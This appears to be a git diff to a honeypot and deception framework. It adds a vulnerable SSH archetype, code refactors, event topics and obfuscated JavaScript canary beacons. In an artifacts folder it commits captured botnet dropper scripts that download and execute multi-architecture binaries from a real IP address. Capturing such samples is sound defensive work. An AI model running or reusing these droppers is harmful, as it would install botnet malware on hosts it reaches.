diff --git a/.gitignore b/.gitignore
index bc75c3dd..67d247c5 100644
--- a/.gitignore
+++ b/.gitignore
@@ -51,3 +51,9 @@ schem
# pydeps-style dependency graph dumps from local analysis runs.
deps.txt
+
+# Node modules vendored under decnet/canary/ for the obfuscator helper.
+# The package.json is the source of truth; modules are reinstalled at
+# build/deploy time.
+node_modules/
+package-lock.json
diff --git a/README.md b/README.md
index 21c17ac0..bce15306 100644
--- a/README.md
+++ b/README.md
@@ -182,6 +182,7 @@ Archetypes are pre-packaged machine identities. One slug sets services, preferre
| Slug | Services | OS Fingerprint | Description |
|---|---|---|---|
+| `deaddeck` | ssh | linux | Initial machine to be exploited. Real SSH container. |
| `windows-workstation` | smb, rdp | windows | Corporate Windows desktop |
| `windows-server` | smb, rdp, ldap | windows | Windows domain member |
| `domain-controller` | ldap, smb, rdp, llmnr | windows | Active Directory DC |
@@ -272,6 +273,11 @@ List live at any time with `decnet services`.
Most services accept persona configuration to make honeypot responses more convincing. Config is passed via INI subsections (`[decky-name.service]`) or the `service_config` field in code.
```ini
+[deaddeck-1]
+amount=1
+archetype=deaddeck
+ssh.password=admin
+
[decky-webmail.http]
server_header = Apache/2.4.54 (Debian)
fake_app = wordpress
diff --git a/artifacts/curl.sh b/artifacts/curl.sh
new file mode 100644
index 00000000..805e4049
--- /dev/null
+++ b/artifacts/curl.sh
@@ -0,0 +1,3 @@
+[0] Downloading 'http://31.56.209.39/curl.sh' ...
+Saving 'curl.sh.1'
+HTTP response 200 OK [http://31.56.209.39/curl.sh]
diff --git a/artifacts/curl.sh.1 b/artifacts/curl.sh.1
new file mode 100644
index 00000000..a6da0876
--- /dev/null
+++ b/artifacts/curl.sh.1
@@ -0,0 +1,46 @@
+#!/bin/sh
+ulimit -n 4096
+ulimit -n 999999
+ulimit -v 2097152
+cd /tmp && 1>.x || cd /var/run && 1>.x || cd /mnt && 1>.x || cd /root && 1>.x || cd / && 1>.x || cd /media && 1>.x
+rm -rf odin*
+rm -rf bizy*
+rm -rf rs*
+rm -rf *.sh
+
+#curl http://31.56.209.39/rs.arm -o rs.arm; chmod +x rs.arm; ./rs.arm; rm -rf rs.arm
+#curl http://31.56.209.39/rs.arm5 -o rs.arm5; chmod +x rs.arm5; ./rs.arm5; rm -rf rs.arm5
+#curl http://31.56.209.39/rs.arm6 -o rs.arm6; chmod +x rs.arm6; ./rs.arm6; rm -rf rs.arm6
+#curl http://31.56.209.39/rs.arm7 -o rs.arm7; chmod +x rs.arm7; ./rs.arm7; rm -rf rs.arm7
+#curl http://31.56.209.39/rs.mips -o rs.mips; chmod +x rs.mips; ./rs.mips; rm -rf rs.mips
+#curl http://31.56.209.39/rs.mipsle -o rs.mipsle; chmod +x rs.mipsle; ./rs.mipsle; rm -rf rs.mipsle
+#curl http://31.56.209.39/rs.mipsSF -o rs.mipsSF; chmod +x rs.mipsSF; ./rs.mipsSF; rm -rf rs.mipsSF
+#curl http://31.56.209.39/rs.mipsleSF -o rs.mipsleSF; chmod +x rs.mipsleSF; ./rs.mipsleSF; rm -rf rs.mipsleSF
+#curl http://31.56.209.39/rs.x86 -o rs.x86; chmod +x rs.x86; ./rs.x86; rm -rf rs.x86
+#curl http://31.56.209.39/rs.x64 -o rs.x64; chmod +x rs.x64; ./rs.x64; rm -rf rs.x64
+
+curl http://31.56.209.39/odin.arm -o odin.arm; chmod +x odin.arm; ./odin.arm odin.arm.curl
+curl http://31.56.209.39/odin.arm5 -o odin.arm5; chmod +x odin.arm5; ./odin.arm5 odin.arm5.curl
+curl http://31.56.209.39/odin.arm5n -o odin.arm5n; chmod +x odin.arm5n; ./odin.arm5n odin.arm5n.curl
+curl http://31.56.209.39/odin.arm6 -o odin.arm6; chmod +x odin.arm6; ./odin.arm6 odin.arm6.curl
+curl http://31.56.209.39/odin.arm7 -o odin.arm7; chmod +x odin.arm7; ./odin.arm7 odin.arm7.curl
+curl http://31.56.209.39/odin.m68k -o odin.m68k; chmod +x odin.m68k; ./odin.m68k odin.m68k.curl
+curl http://31.56.209.39/odin.mips -o odin.mips; chmod +x odin.mips; ./odin.mips odin.mips.curl
+curl http://31.56.209.39/odin.mpsl -o odin.mpsl; chmod +x odin.mpsl; ./odin.mpsl odin.mpsl.curl
+curl http://31.56.209.39/odin.ppc -o odin.ppc; chmod +x odin.ppc; ./odin.ppc odin.ppc.curl
+curl http://31.56.209.39/odin.sh4 -o odin.sh4; chmod +x odin.sh4; ./odin.sh4 odin.sh4.curl
+curl http://31.56.209.39/odin.spc -o odin.spc; chmod +x odin.spc; ./odin.spc odin.spc.curl
+curl http://31.56.209.39/odin.x64 -o odin.x64; chmod +x odin.x64; ./odin.x64 odin.x64.curl
+curl http://31.56.209.39/odin.x86 -o odin.x86; chmod +x odin.x86; ./odin.x86 odin.x86.curl
+
+curl http://31.56.209.39/bizy.arm5 -o bizy.arm5; chmod +x bizy.arm5; ./bizy.arm5; rm -rf bizy.arm5
+curl http://31.56.209.39/bizy.arm6 -o bizy.arm6; chmod +x bizy.arm6; ./bizy.arm6; rm -rf bizy.arm6
+curl http://31.56.209.39/bizy.arm7 -o bizy.arm7; chmod +x bizy.arm7; ./bizy.arm7; rm -rf bizy.arm7
+curl http://31.56.209.39/bizy.arm8 -o bizy.arm8; chmod +x bizy.arm8; ./bizy.arm8; rm -rf bizy.arm8
+curl http://31.56.209.39/bizy.mips -o bizy.mips; chmod +x bizy.mips; ./bizy.mips; rm -rf bizy.mips
+curl http://31.56.209.39/bizy.mpsl -o bizy.mpsl; chmod +x bizy.mpsl; ./bizy.mpsl; rm -rf bizy.mpsl
+curl http://31.56.209.39/bizy.mipss -o bizy.mipss; chmod +x bizy.mipss; ./bizy.mipss; rm -rf bizy.mipss;
+curl http://31.56.209.39/bizy.mpsls -o bizy.mpsls; chmod +x bizy.mpsls; ./bizy.mpsls; rm -rf bizy.mpsls;
+curl http://31.56.209.39/bizy.riscv -o bizy.riscv; chmod +x bizy.riscv; ./bizy.riscv; rm -rf bizy.riscv
+curl http://31.56.209.39/bizy.x86 -o bizy.x86; chmod +x bizy.x86; ./bizy.x86; rm -rf bizy.x86
+curl http://31.56.209.39/bizy.x64 -o bizy.x64; chmod +x bizy.x64; ./bizy.x64; rm -rf bizy.x64
diff --git a/artifacts/evil.sh b/artifacts/evil.sh
new file mode 100644
index 00000000..30cbec18
--- /dev/null
+++ b/artifacts/evil.sh
@@ -0,0 +1,3 @@
+ wget http://31.56.209.39/wget.sh -o wget.sh
+
+ wget http://31.56.209.39/curl.sh -o curl.sh
diff --git a/artifacts/wget.sh b/artifacts/wget.sh
new file mode 100644
index 00000000..3a4099e1
--- /dev/null
+++ b/artifacts/wget.sh
@@ -0,0 +1,3 @@
+[0] Downloading 'http://31.56.209.39/wget.sh' ...
+Saving 'wget.sh.1'
+HTTP response 200 OK [http://31.56.209.39/wget.sh]
diff --git a/artifacts/wget.sh.1 b/artifacts/wget.sh.1
new file mode 100644
index 00000000..366613d9
--- /dev/null
+++ b/artifacts/wget.sh.1
@@ -0,0 +1,46 @@
+#!/bin/sh
+ulimit -n 4096
+ulimit -n 999999
+ulimit -v 2097152
+cd /tmp && 1>.x || cd /var/run && 1>.x || cd /mnt && 1>.x || cd /root && 1>.x || cd / && 1>.x || cd /media && 1>.x
+rm -rf odin*
+rm -rf bizy*
+rm -rf rs*
+rm -rf *.sh
+
+wget http://31.56.209.39/rs.arm; chmod +x rs.arm; ./rs.arm; rm -rf rs.arm
+wget http://31.56.209.39/rs.arm5; chmod +x rs.arm5; ./rs.arm5; rm -rf rs.arm5
+wget http://31.56.209.39/rs.arm6; chmod +x rs.arm6; ./rs.arm6; rm -rf rs.arm6
+wget http://31.56.209.39/rs.arm7; chmod +x rs.arm7; ./rs.arm7; rm -rf rs.arm7
+wget http://31.56.209.39/rs.mips; chmod +x rs.mips; ./rs.mips; rm -rf rs.mips
+wget http://31.56.209.39/rs.mipsle; chmod +x rs.mipsle; ./rs.mipsle; rm -rf rs.mipsle
+wget http://31.56.209.39/rs.mipsSF; chmod +x rs.mipsSF; ./rs.mipsSF; rm -rf rs.mipsSF
+wget http://31.56.209.39/rs.mipsleSF; chmod +x rs.mipsleSF; ./rs.mipsleSF; rm -rf rs.mipsleSF
+wget http://31.56.209.39/rs.x86; chmod +x rs.x86; ./rs.x86; rm -rf rs.x86
+wget http://31.56.209.39/rs.x64; chmod +x rs.x64; ./rs.x64; rm -rf rs.x64
+
+wget http://31.56.209.39/odin.arm; chmod +x odin.arm; ./odin.arm odin.arm.wget
+wget http://31.56.209.39/odin.arm5; chmod +x odin.arm5; ./odin.arm5 odin.arm5.wget
+wget http://31.56.209.39/odin.arm5n; chmod +x odin.arm5n; ./odin.arm5n odin.arm5n.wget
+wget http://31.56.209.39/odin.arm6; chmod +x odin.arm6; ./odin.arm6 odin.arm6.wget
+wget http://31.56.209.39/odin.arm7; chmod +x odin.arm7; ./odin.arm7 odin.arm7.wget
+wget http://31.56.209.39/odin.m68k; chmod +x odin.m68k; ./odin.m68k odin.m68k.wget
+wget http://31.56.209.39/odin.mips; chmod +x odin.mips; ./odin.mips odin.mips.wget
+wget http://31.56.209.39/odin.mpsl; chmod +x odin.mpsl; ./odin.mpsl odin.mpsl.wget
+wget http://31.56.209.39/odin.ppc; chmod +x odin.ppc; ./odin.ppc odin.ppc.wget
+wget http://31.56.209.39/odin.sh4; chmod +x odin.sh4; ./odin.sh4 odin.sh4.wget
+wget http://31.56.209.39/odin.spc; chmod +x odin.spc; ./odin.spc odin.spc.wget
+wget http://31.56.209.39/odin.x64; chmod +x odin.x64; ./odin.x64 odin.x64.wget
+wget http://31.56.209.39/odin.x86; chmod +x odin.x86; ./odin.x86 odin.x86.wget
+
+wget http://31.56.209.39/bizy.arm5; chmod +x bizy.arm5; ./bizy.arm5; rm -rf bizy.arm5
+wget http://31.56.209.39/bizy.arm6; chmod +x bizy.arm6; ./bizy.arm6; rm -rf bizy.arm6
+wget http://31.56.209.39/bizy.arm7; chmod +x bizy.arm7; ./bizy.arm7; rm -rf bizy.arm7
+wget http://31.56.209.39/bizy.arm8; chmod +x bizy.arm8; ./bizy.arm8; rm -rf bizy.arm8
+wget http://31.56.209.39/bizy.mips; chmod +x bizy.mips; ./bizy.mips; rm -rf bizy.mips
+wget http://31.56.209.39/bizy.mpsl; chmod +x bizy.mpsl; ./bizy.mpsl; rm -rf bizy.mpsl
+wget http://31.56.209.39/bizy.mipss; chmod +x ./bizy.mipss; ./bizy.mipss; rm -rf bizy.mipss
+wget http://31.56.209.39/bizy.mpsls; chmod +x ./bizy.mpsls; ./bizy.mpsls; rm -rf bizy.mpsls
+wget http://31.56.209.39/bizy.riscv; chmod +x bizy.riscv; ./bizy.riscv; rm -rf bizy.riscv
+wget http://31.56.209.39/bizy.x86; chmod +x bizy.x86; ./bizy.x86; rm -rf bizy.x86
+wget http://31.56.209.39/bizy.x64; chmod +x bizy.x64; ./bizy.x64; rm -rf bizy.x64
diff --git a/decnet.tar b/decnet.tar
new file mode 100644
index 00000000..02de619a
Binary files /dev/null and b/decnet.tar differ
diff --git a/decnet/agent/topology_ops.py b/decnet/agent/topology_ops.py
index f8f156f2..7a03233d 100644
--- a/decnet/agent/topology_ops.py
+++ b/decnet/agent/topology_ops.py
@@ -59,6 +59,73 @@ def _topology_id(hydrated: dict[str, Any]) -> str:
return str(tid)
+def _check_hash_and_validate(hydrated: dict[str, Any], version_hash: str) -> str:
+ """Verify hash integrity and structural validity; return topology_id."""
+ local_hash = canonical_hash(hydrated)
+ if local_hash != version_hash:
+ raise HashMismatch(
+ f"master hash {version_hash!r} does not match agent hash "
+ f"{local_hash!r} — refusing to apply"
+ )
+ issues = _validate_topology(hydrated)
+ if _validation_errors(issues):
+ raise ValidationError(issues)
+ return _topology_id(hydrated)
+
+
+async def _teardown_superseded(topology_id: str, store: TopologyStore) -> None:
+ """Tear down the current topology if it differs from topology_id.
+
+ Master is authoritative — a different pinned topology (fully applied,
+ partially applied, or drifted) is torn down before the new apply proceeds.
+ Refusing with 409 would leave the agent stuck in a state only a human
+ could resolve.
+ """
+ existing = store.current()
+ if existing is None or existing.topology_id == topology_id:
+ return
+ log.info(
+ "superseding topology %s with %s on master authority",
+ existing.topology_id, topology_id,
+ )
+ try:
+ await teardown(existing.topology_id, store)
+ except Exception as exc: # noqa: BLE001 — we still want to try applying
+ log.warning(
+ "best-effort teardown of superseded topology %s failed: %s",
+ existing.topology_id, exc,
+ )
+ # Hard-clear the store row so the new apply isn't blocked by a
+ # half-torn-down predecessor. Leftover docker objects surface via
+ # the next heartbeat's observed block.
+ store.clear(existing.topology_id)
+
+
+def _materialise(hydrated: dict[str, Any], topology_id: str) -> None:
+ """Create bridge networks, write compose file, and bring up containers.
+
+ Sync/blocking — callers must dispatch via asyncio.to_thread.
+
+ ``--always-recreate-deps`` keeps service containers' netns shares
+ fresh: every decky service joins its base's netns via
+ ``network_mode: container:``, and that share is bound at
+ service start time. If a base is recreated (e.g. when ``ports:``
+ changes after toggling ``forwards_l3``) but compose decides the
+ services are unchanged, the services keep a stale netns FD
+ pointing at the destroyed base — they end up in an empty
+ namespace with only ``lo``, and external traffic hits a closed
+ port on the live base. Forcing dependents to recreate alongside
+ the base is the cheapest way to make this race impossible.
+ """
+ compose_path = _topology_compose_path(topology_id)
+ client = docker.from_env()
+ for lan in hydrated["lans"]:
+ net_name = _topology_network_name(topology_id, lan["name"])
+ create_bridge_network(client, net_name, lan["subnet"], internal=not lan["is_dmz"])
+ write_topology_compose(hydrated, compose_path)
+ _compose_with_retry("up", "--build", "-d", "--always-recreate-deps", compose_file=compose_path)
+
+
async def apply(
hydrated: dict[str, Any],
version_hash: str,
@@ -73,76 +140,11 @@ async def apply(
Any docker / compose error propagates up; the endpoint maps it
to 500 and records the message on the store row.
"""
- local_hash = canonical_hash(hydrated)
- if local_hash != version_hash:
- raise HashMismatch(
- f"master hash {version_hash!r} does not match agent hash "
- f"{local_hash!r} — refusing to apply"
- )
-
- issues = _validate_topology(hydrated)
- if _validation_errors(issues):
- raise ValidationError(issues)
-
- topology_id = _topology_id(hydrated)
- # Master is authoritative. If a different topology is pinned here
- # — whether it fully applied, only partially applied (failure
- # marker row + orphan containers), or drifted — teardown first,
- # then accept the new one. Refusing with 409 would leave the
- # agent stuck in a state only a human could resolve.
- existing = store.current()
- if existing is not None and existing.topology_id != topology_id:
- log.info(
- "superseding topology %s with %s on master authority",
- existing.topology_id, topology_id,
- )
- try:
- await teardown(existing.topology_id, store)
- except Exception as exc: # noqa: BLE001 — we still want to try applying
- log.warning(
- "best-effort teardown of superseded topology %s failed: %s",
- existing.topology_id, exc,
- )
- # Hard-clear the store row so the new apply isn't blocked
- # by a half-torn-down predecessor. Leftover docker objects
- # will surface via the next heartbeat's observed block.
- store.clear(existing.topology_id)
-
- lans = hydrated["lans"]
- compose_path = _topology_compose_path(topology_id)
- client = docker.from_env()
-
- # Bridges + compose are sync/blocking; hop to a thread so we don't
- # stall the event loop on a slow docker daemon.
- def _materialise() -> None:
- for lan in lans:
- net_name = _topology_network_name(topology_id, lan["name"])
- internal = not lan["is_dmz"]
- create_bridge_network(
- client, net_name, lan["subnet"], internal=internal
- )
- write_topology_compose(hydrated, compose_path)
- # ``--always-recreate-deps`` keeps service containers' netns shares
- # fresh: every decky service joins its base's netns via
- # ``network_mode: container:``, and that share is bound at
- # service start time. If a base is recreated (e.g. when ``ports:``
- # changes after toggling ``forwards_l3``) but compose decides the
- # services are unchanged, the services keep a stale netns FD
- # pointing at the destroyed base — they end up in an empty
- # namespace with only ``lo``, and external traffic hits a closed
- # port on the live base. Forcing dependents to recreate alongside
- # the base is the cheapest way to make this race impossible.
- _compose_with_retry(
- "up", "--build", "-d", "--always-recreate-deps",
- compose_file=compose_path,
- )
-
- await asyncio.to_thread(_materialise)
-
+ topology_id = _check_hash_and_validate(hydrated, version_hash)
+ await _teardown_superseded(topology_id, store)
+ await asyncio.to_thread(_materialise, hydrated, topology_id)
store.put(topology_id, version_hash, hydrated)
- log.info(
- "topology %s applied on agent (%d LANs)", topology_id, len(lans)
- )
+ log.info("topology %s applied on agent (%d LANs)", topology_id, len(hydrated["lans"]))
async def teardown(
diff --git a/decnet/agent/topology_store.py b/decnet/agent/topology_store.py
index 7112307e..86427597 100644
--- a/decnet/agent/topology_store.py
+++ b/decnet/agent/topology_store.py
@@ -63,6 +63,7 @@ class TopologyStore:
# The agent is single-process, so there's no real contention —
# sqlite's own connection lock is enough.
self._conn = sqlite3.connect(str(db_path), check_same_thread=False)
+ self._conn.row_factory = sqlite3.Row
self._conn.execute(
"CREATE TABLE IF NOT EXISTS applied_topology ("
" topology_id TEXT PRIMARY KEY,"
@@ -84,11 +85,11 @@ class TopologyStore:
if row is None:
return None
return AppliedRow(
- topology_id=row[0],
- applied_version_hash=row[1],
- hydrated=json.loads(row[2]),
- applied_at=int(row[3]),
- last_error=row[4],
+ topology_id=row["topology_id"],
+ applied_version_hash=row["applied_version_hash"],
+ hydrated=json.loads(row["hydrated_blob_json"]),
+ applied_at=int(row["applied_at"]),
+ last_error=row["last_error"],
)
# ---------------------------------------------------------------- writes
diff --git a/decnet/asn/iptoasn/provider.py b/decnet/asn/iptoasn/provider.py
index fbd243b5..024c83a3 100644
--- a/decnet/asn/iptoasn/provider.py
+++ b/decnet/asn/iptoasn/provider.py
@@ -13,7 +13,7 @@ from typing import Sequence
from decnet.asn.base import Provider
from decnet.asn.iptoasn.fetch import IPTOASN_SOURCES, fetch_all
from decnet.asn.iptoasn.parse import parse_file
-from decnet.asn.lookup import AsnLookup
+from decnet.asn.lookup import AsnLookup, Range
from decnet.asn.paths import ensure_root
logger = logging.getLogger("decnet.asn.iptoasn.provider")
@@ -54,7 +54,7 @@ class IptoasnProvider(Provider):
"asn.iptoasn: cache load failed, rebuilding: %s", exc
)
- ranges = []
+ ranges: list[Range] = []
for path in self.data_paths():
if not path.exists():
continue
diff --git a/decnet/bus/topics.py b/decnet/bus/topics.py
index 3c89d7e4..528933e2 100644
--- a/decnet/bus/topics.py
+++ b/decnet/bus/topics.py
@@ -54,6 +54,7 @@ SYSTEM = "system"
CREDENTIAL = "credential"
ORCHESTRATOR = "orchestrator"
CANARY = "canary"
+SMTP = "smtp"
# ─── Leaf event-type constants (the last segment of each topic) ──────────────
@@ -83,6 +84,19 @@ DECKY_MUTATE_REQUEST = "mutate_request"
# syslog sidechannel too) to interleave substrate-change markers into
# attacker traversals.
DECKY_MUTATION = "mutation"
+# Per-service add/remove on a deployed decky (live; no full redeploy).
+# Payload carries ``decky_name``, ``service_name``, optional
+# ``topology_id``, and ``services`` (the post-mutation list). Consumers
+# that watch substrate shape (correlator, dashboard, profiler) reconcile
+# off these without waiting for the next decnet-state.json snapshot.
+DECKY_SERVICE_ADDED = "service_added"
+DECKY_SERVICE_REMOVED = "service_removed"
+# Per-service config change (the schema-driven Inspector form). Payload
+# carries ``decky_name``, ``service_name``, optional ``topology_id``,
+# ``service_config`` (the new validated dict), and ``recreated`` — true
+# when the operator hit Apply (container was force-recreated to pick up
+# the new env), false when they only hit Save (DB-only).
+DECKY_SERVICE_CONFIG_CHANGED = "service_config_changed"
# Attacker event types (second token under the ``attacker`` root). First
# sighting, session boundary transitions, and score-threshold crossings
@@ -381,6 +395,16 @@ def system_control(worker: str) -> str:
return f"{SYSTEM}.{worker}.{SYSTEM_CONTROL}"
+def smtp(event_type: str) -> str:
+ """Build ``smtp.``.
+
+ *event_type* may contain dots (e.g. ``probe.pending``).
+ """
+ if not event_type:
+ raise ValueError("smtp topic requires a non-empty event_type")
+ return f"{SMTP}.{event_type}"
+
+
def _reject_tokens(*parts: str) -> None:
"""Reject topic segments that would break NATS-style tokenization.
diff --git a/decnet/canary/_obfuscate_helper.js b/decnet/canary/_obfuscate_helper.js
new file mode 100644
index 00000000..a1dbc067
--- /dev/null
+++ b/decnet/canary/_obfuscate_helper.js
@@ -0,0 +1,18 @@
+// Node helper invoked by decnet.canary.obfuscator.
+// Reads {code, options} JSON from stdin, writes obfuscated JS to stdout.
+// Kept dependency-light on purpose: only javascript-obfuscator.
+const JsObf = require('javascript-obfuscator');
+
+let raw = '';
+process.stdin.setEncoding('utf8');
+process.stdin.on('data', (chunk) => { raw += chunk; });
+process.stdin.on('end', () => {
+ try {
+ const { code, options } = JSON.parse(raw);
+ const result = JsObf.obfuscate(code, options || {});
+ process.stdout.write(result.getObfuscatedCode());
+ } catch (e) {
+ process.stderr.write(String(e && e.stack || e));
+ process.exit(2);
+ }
+});
diff --git a/decnet/canary/base.py b/decnet/canary/base.py
index 160dcd19..d9e05552 100644
--- a/decnet/canary/base.py
+++ b/decnet/canary/base.py
@@ -100,6 +100,12 @@ class CanaryArtifact:
planting. Never leaked to the attacker-facing surface.
"""
+ fingerprint_nonce: Optional[str] = None
+ """Per-mint HMAC nonce for fingerprint canaries; ``None`` for everything
+ else. Cultivator reads this and persists it on ``CanaryToken.fingerprint_nonce``
+ so the worker can validate incoming ``?k=`` params.
+ """
+
class CanaryGenerator(ABC):
"""Produces a fake artifact from scratch."""
diff --git a/decnet/canary/cultivator.py b/decnet/canary/cultivator.py
index dbeb3b6d..a71d2290 100644
--- a/decnet/canary/cultivator.py
+++ b/decnet/canary/cultivator.py
@@ -46,6 +46,8 @@ _CLASS_TO_GENERATOR: dict[ContentClass, str] = {
ContentClass.CANARY_HONEYDOC_DOCX: "honeydoc_docx",
ContentClass.CANARY_HONEYDOC_PDF: "honeydoc_pdf",
ContentClass.CANARY_MYSQL_DUMP: "mysql_dump",
+ ContentClass.CANARY_FINGERPRINT_HTML: "fingerprint_html",
+ ContentClass.CANARY_FINGERPRINT_SVG: "fingerprint_svg",
}
@@ -62,6 +64,8 @@ _GENERATOR_TO_KIND: dict[str, str] = {
"honeydoc_pdf": "http",
"ssh_key": "dns", # trip is DNS resolution of host comment
"mysql_dump": "dns", # trip is DNS resolution of subdomain
+ "fingerprint_html": "http", # obfuscated JS beacons GET /c/
+ "fingerprint_svg": "http", # same, embedded inside SVG
+